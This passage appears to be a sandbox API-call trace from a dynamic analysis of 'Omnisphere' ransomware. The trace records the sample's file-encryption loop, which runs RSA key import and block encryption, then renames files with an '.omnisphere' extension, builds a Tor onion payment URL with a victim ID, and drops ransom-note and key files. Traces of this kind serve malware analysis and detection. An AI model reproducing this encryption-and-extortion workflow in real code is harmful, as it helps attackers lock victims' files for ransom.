dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.471] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=920) returned 1 [0126.471] GetTickCount () returned 0x115f902 [0126.471] GetTickCount () returned 0x115f902 [0126.471] GetTickCount () returned 0x115f902 [0126.471] GetTickCount () returned 0x115f902 [0126.471] GetTickCount () returned 0x115f902 [0126.471] GetTickCount () returned 0x115f902 [0126.471] GetTickCount () returned 0x115f902 [0126.471] GetTickCount () returned 0x115f902 [0126.471] GetTickCount () returned 0x115f902 [0126.471] GetTickCount () returned 0x115f902 [0126.471] GetTickCount () returned 0x115f902 [0126.471] GetTickCount () returned 0x115f902 [0126.472] GetTickCount () returned 0x115f902 [0126.472] GetTickCount () returned 0x115f902 [0126.472] GetTickCount () returned 0x115f902 [0126.472] GetTickCount () returned 0x115f902 [0126.472] GetTickCount () returned 0x115f902 [0126.472] GetTickCount () returned 0x115f902 [0126.472] GetTickCount () returned 0x115f902 [0126.472] GetTickCount () returned 0x115f902 [0126.472] GetTickCount () returned 0x115f902 [0126.472] GetTickCount () returned 0x115f902 [0126.472] GetTickCount () returned 0x115f902 [0126.472] GetTickCount () returned 0x115f902 [0126.472] GetTickCount () returned 0x115f902 [0126.472] GetTickCount () returned 0x115f902 [0126.472] GetTickCount () returned 0x115f902 [0126.472] GetTickCount () returned 0x115f902 [0126.472] GetTickCount () returned 0x115f902 [0126.472] GetTickCount () returned 0x115f902 [0126.472] GetTickCount () returned 0x115f902 [0126.472] GetTickCount () returned 0x115f902 [0126.472] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668928) returned 1 [0126.473] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16394e8) returned 1 [0126.473] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.473] CryptDestroyKey (hKey=0x16394e8) returned 1 [0126.473] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0126.473] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x398, lpName=0x0) returned 0x288 [0126.473] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x398) returned 0x1480000 [0126.473] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668e78) returned 1 [0126.474] CryptImportKey (in: hProv=0x1668e78, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0126.474] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.474] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.474] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.474] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.474] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.474] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.474] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.474] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.474] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.474] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.474] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.474] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.474] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.474] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.474] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.474] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.474] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.474] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.474] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.474] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.474] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.474] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.474] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.475] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.475] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.475] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.475] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.475] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.475] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.475] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.475] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.475] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.475] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.475] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.475] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.475] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.475] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.475] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.475] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.475] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.475] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.475] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.475] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.475] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.475] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.475] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.475] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.475] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.475] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.475] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.476] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.476] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.476] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.476] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.476] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.476] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.476] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.476] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.476] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.476] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.476] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.476] CryptReleaseContext (hProv=0x1668e78, dwFlags=0x0) returned 1 [0126.476] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x398, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.476] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.476] GetProcessHeap () returned 0x1600000 [0126.476] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a2) returned 0x16d73b8 [0126.476] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l5P5.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\l5p5.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l5P5.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\l5p5.lnk.omnisphere")) returned 1 [0126.477] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l5P5.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l5P5.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l5P5.lnk.omnisphere.id" [0126.477] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l5P5.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\l5p5.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.477] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.478] CloseHandle (hObject=0x3c0) returned 1 [0126.478] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.478] CloseHandle (hObject=0x288) returned 1 [0126.478] SetEndOfFile (hFile=0x28c) returned 1 [0126.479] FlushFileBuffers (hFile=0x28c) returned 1 [0126.481] CloseHandle (hObject=0x28c) returned 1 [0126.481] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l5P5.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.481] GetProcessHeap () returned 0x1600000 [0126.481] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16d8560 [0126.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.482] GetProcessHeap () returned 0x1600000 [0126.482] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5898 [0126.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5898, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.482] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.482] GetProcessHeap () returned 0x1600000 [0126.482] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d7ee8 [0126.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d7ee8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.482] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.482] GetProcessHeap () returned 0x1600000 [0126.482] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16c0668 [0126.482] PathCombineW (in: pszDest=0x16c0668, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.482] GetProcessHeap () returned 0x1600000 [0126.482] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16cdb30 [0126.482] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.482] WriteFile (in: hFile=0x28c, lpBuffer=0x16cdb30*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16cdb30*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.482] CloseHandle (hObject=0x28c) returned 1 [0126.483] GetProcessHeap () returned 0x1600000 [0126.483] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16d8560 | out: hHeap=0x1600000) returned 1 [0126.483] GetProcessHeap () returned 0x1600000 [0126.483] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.483] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.483] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.483] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.483] CloseHandle (hObject=0x28c) returned 1 [0126.483] GetProcessHeap () returned 0x1600000 [0126.483] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.483] GetProcessHeap () returned 0x1600000 [0126.483] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167c0c8 | out: hHeap=0x1600000) returned 1 [0126.483] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20145b05, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20145b05, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x20145b05, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x340, dwReserved0=0x0, dwReserved1=0xd3, cFileName="LC8mHy4MO_lq.flv.lnk", cAlternateFileName="LC8MHY~1.LNK")) returned 1 [0126.483] GetProcessHeap () returned 0x1600000 [0126.483] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xaa) 